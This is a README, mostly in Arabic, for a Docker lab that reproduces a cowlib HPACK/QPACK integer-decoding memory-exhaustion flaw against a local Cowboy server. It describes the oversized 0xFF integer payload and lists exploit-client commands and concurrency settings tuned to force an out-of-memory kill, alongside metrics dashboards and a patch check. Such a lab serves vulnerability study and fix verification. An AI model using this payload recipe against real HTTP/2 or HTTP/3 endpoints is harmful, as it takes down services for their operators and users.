
مختبر Docker قابل لإعادة الإنتاج لـ CVE-2026-59248: هجوم حجب الخدمة (DoS) عبر استنزاف الذاكرة في وحدة فك ترميز الأعداد الصحيحة HPACK/QPACK في cowlib، مع عميل استغلال، وخادم Cowboy، ومقاييس Grafana.
تسمح ثغرة تحديد الموارد في cowlib من ninenines (الإصدار ≥ 2.0.0، < 2.19.0) لقرين HTTP/2 أو HTTP/3 بعيد غير مُصادَق باستنزاف الذاكرة على الخادم (أو العميل) المصاب والتسبب في حجب الخدمة.
مفكّك الأعداد الصحيحة ذات البادئة HPACK وQPACK
cow_hpack_common:dec_big_int/3 (في src/cow_hpack_common.hrl، يُستدعى من
cow_hpack:decode/2 وcow_qpack:decode_field_section/3) يقرأ ثمانيات الاستمرار حتى يجد واحدة تكون أعلى بت فيها صفرًا، ويقيّم
Int + (Value bsl M) في كل خطوة مع نمو الإزاحة M بمقدار 7 لكل
ثمانية. لا يوجد أي حد على عدد ثمانيات الاستمرار، ولا على
عرض البت الناتج، ولا على القيمة — فالمفكّك يستهلك أي طول مُرمَّز يقدمه القرين. ولأن أعداد Erlang الصحيحة غير قابلة للتغيير، فإن كل
Value bsl M وسيط وكل تحديث للمُجمِّع يخصص عددًا صحيحًا كبيرًا (bignum) جديدًا ينمو عرض أرقامه خطيًا مع الثمانيات المعالَجة حتى الآن؛
ومجموع ذلك على مدى عملية التفكيك بأكملها يجعل التخصيص العابر O(n²) بالنسبة إلى
الطول المُرمَّز.
يمكن لتمثيل HPACK مفهرس أقصى واحد محمول في زوج إطارات HEADERS + CONTINUATION واحد لـ HTTP/2 — ضمن
max_frame_size_received الافتراضي في Cowboy — أن يفرض مئات الميغابايتات من التخصيص العابر وتكدّس جمع القمامة قبل رفض فهرس جدول الترويسات الناتج باعتباره غير صالح. وتضاعف الاتصالات المتكررة أو المتزامنة الضغط ويمكن أن تدفع جهاز Erlang الافتراضي إلى استنزاف الذاكرة.
cowlib هو محلّل HTTP المستخدم في Cowboy، وإضافة الإدارة في RabbitMQ، وغيرها من خوادم وعملاء HTTP/2 وHTTP/3 المبنية على Erlang/Elixir، لذا فإن أي نقطة نهاية مكشوفة تقبل HPACK أو QPACK من قرين غير موثوق تكون قابلة للوصول.
الإصلاح: يضيف cowlib 2.19.0 حارسًا when M < 32 إلى dec_big_int/3،
فيرفض الأعداد الصحيحة المفرطة الحجم بعد بضع ثمانيات.
يعيد هذا المختبر تشغيل الهجوم (preface → SETTINGS → HEADERS → CONTINUATION
مع عدد صحيح HPACK مفرط الحجم 0xFF…) ضد خادم Cowboy حقيقي ويلتقط ارتفاع ذاكرة BEAM في Prometheus/Grafana — قبل تطبيق الترقيع وبعده.
exploit-client ──HTTP/2 (h2c)──▶ cowboy-server (cowboy 2.17.0 / cowlib 2.18.0, :8080)
│ /metrics (same listener)
▼
prometheus (:9090) ──scrape 2s──▶ grafana (:3000)
يثبّت Cowboy إصدارًا محددًا من cowlib: cowboy 2.17.0 يتضمن cowlib 2.18.0 المصاب بالثغرة (cowboy 2.18.0 يحزم cowlib 2.19.0 المُصلَّح). يفرض هذا المختبر cowlib عبر override: true بحيث يكون عرض الثغرة→الإصلاح تغييرًا من سطر واحد في server/mix.exs.
| الخدمة | الرابط |
|---|---|
| خادم Cowboy | http://localhost:8080/ (HTTP/1.1 + HTTP/2 h2c) |
| Server /metrics | http://localhost:8080/metrics |
| Prometheus | http://localhost:9090/targets |
| Grafana | http://localhost:3000 (admin / admin) |
تُوفَّر لوحة Grafana "cowlib 2.18.0 HPACK memory DoS" تلقائيًا (دون إعداد يدوي لمصدر البيانات أو اللوحات).
# 1. Build images and start the server + observability stack
docker compose build
docker compose up -d cowboy-server prometheus grafana
# 2. Sanity checks
curl http://localhost:8080/ # -> OK
curl http://localhost:8080/metrics | grep erlang_vm_memory_processes_bytes_total
# 3. Let ~15s of baseline accumulate, then launch the concurrent exploit
# (default: 5 concurrent connections, each with a ~200KB HPACK bomb)
docker compose run --rm exploit-client
# 4. Watch the spike (the server stays up after the attack)
docker stats cowboy-server # live CLI view — memory + CPU
# Grafana: open http://localhost:3000 (admin/admin) — dashboard auto-provisioned.
# Panel 1 "ERLANG VM: Process memory" = BEAM process heaps only (the decoder)
# Panel 2 "ERLANG VM: Total memory" = system + processes allocator memory
# Panel 3 "CONTAINER: cgroup memory" = cowboy_container_memory_{used,peak,limit}
# NOTE: the first two panels only see the BEAM's own accounting, which peaks at
# ~150-200 MiB. `docker stats` shows the whole cgroup (allocator carriers, code,
# binaries, page cache), which reaches ~1 GiB — panel 3 reports that exact
# number, so it tracks `docker stats` one-for-one.
# Observed spike (100 conn × 512KB): processes_used 16 → 153 MiB (9×),
# container memory 87 → 256 MiB.
# To push the server to full OOM denial of service:
docker compose run --rm -e NUM_CONCURRENT=800 exploit-client
# (NUM_CONCURRENT=1500 drives container memory to the 1g limit even faster)
# Server is killed (exit 137) in ~10 seconds; restart with:
docker compose up -d cowboy-server
# If the server has already died, Prometheus simply stops getting scrapes, so
# Grafana's lines end at the crash. Set the dashboard time range to "Last 15
# minutes" to see the recorded climb; the peak is also kept in
# cowboy_container_memory_peak_bytes until the container restarts.
# The exploit service has `profiles: ["attack"]`, so `docker compose up -d`
# never auto-launches the attack.
# 5. Verify the fix: in server/mix.exs change
# {:cowlib, "2.18.0", override: true}
# to
# {:cowlib, "2.19.0", override: true}
# then rebuild and restart just the server (the memory line stays flat):
# docker compose build cowboy-server && docker compose up -d cowboy-server
# docker compose run --rm exploit-client
# 6. Tear down (the -v flag removes volumes, incl. Grafana dashboards)
docker compose down -v
المنافذ: تنشر الحزمة المنفذ المضيف
8080(Cowboy)، و9090(Prometheus)، و3000(Grafana). تأكد من أن هذه المنافذ حرة قبل البدء، وأعد تشغيل عميل الاستغلال باستخدامdocker compose run --rmفي كل مرة — إذ تعمل خدمة Compose مرة واحدة ثم تنتهي.
| المتغير | القيمة الافتراضية | التأثير |
|---|---|---|
PAYLOAD_CONTINUATIONS | 524288 | عدد بايتات 0xFF في عدد HPACK الصحيح (قنبلة بحجم 512 كيلوبايت؛ يسمح max_fragmented_header_block_size في الخادم بما يصل إلى 1 ميغابايت). |
NUM_CONCURRENT | 100 | اتصالات غير متزامنة متزامنة — يبقى كل منها حيًّا أثناء فك الترميز لمدة ATTACK_KEEPALIVE_SECS. زِدها إلى 200+ لإحداث OOM بشكل موثوق (تجاوز 1g) في حاوية الخادم. |
SOCKET_TIMEOUT | 15 | عدد الثواني لكل مصافحة اتصال |
ATTACK_KEEPALIVE_SECS | 60 | المدة التي يبقى فيها كل اتصال حيًّا بعد الإرسال |
SERVER_HOST / SERVER_PORT | cowboy-server / 8080 | الهدف |
# single connection probe (fast, minimal effect):
docker compose run --rm -e PAYLOAD_CONTINUATIONS=50000 -e NUM_CONCURRENT=1 -e ATTACK_KEEPALIVE_SECS=10 exploit-client
# visible spike, server survives (~60 connections, 512KB each):
docker compose run --rm -e NUM_CONCURRENT=60 -e ATTACK_KEEPALIVE_SECS=25 exploit-client
# full OOM denial of service (800 connections, ~10s to exit 137):
docker compose run --rm -e NUM_CONCURRENT=800 exploit-client
# faster OOM (1500 connections):
docker compose run --rm -e NUM_CONCURRENT=1500 exploit-client
# run directly from the host (any Docker not needed):
SERVER_HOST=localhost python3 client/poc_http2.py
تُرفض الحمولة الأكبر من
max_fragmented_header_block_sizeالخاصة بالخادم (1 MiB) قبل أن تصل إلى وحدة فك الترميز، ثم يرى العميلsocket.send() raised exceptionعلى الاتصال المغلق. أبقِPAYLOAD_CONTINUATIONS≤ ~1,000,000 أو ارفع الحد الأقصى فيserver/poc_server.exs(وأعد البناء) ليتطابق.
server/poc.exs)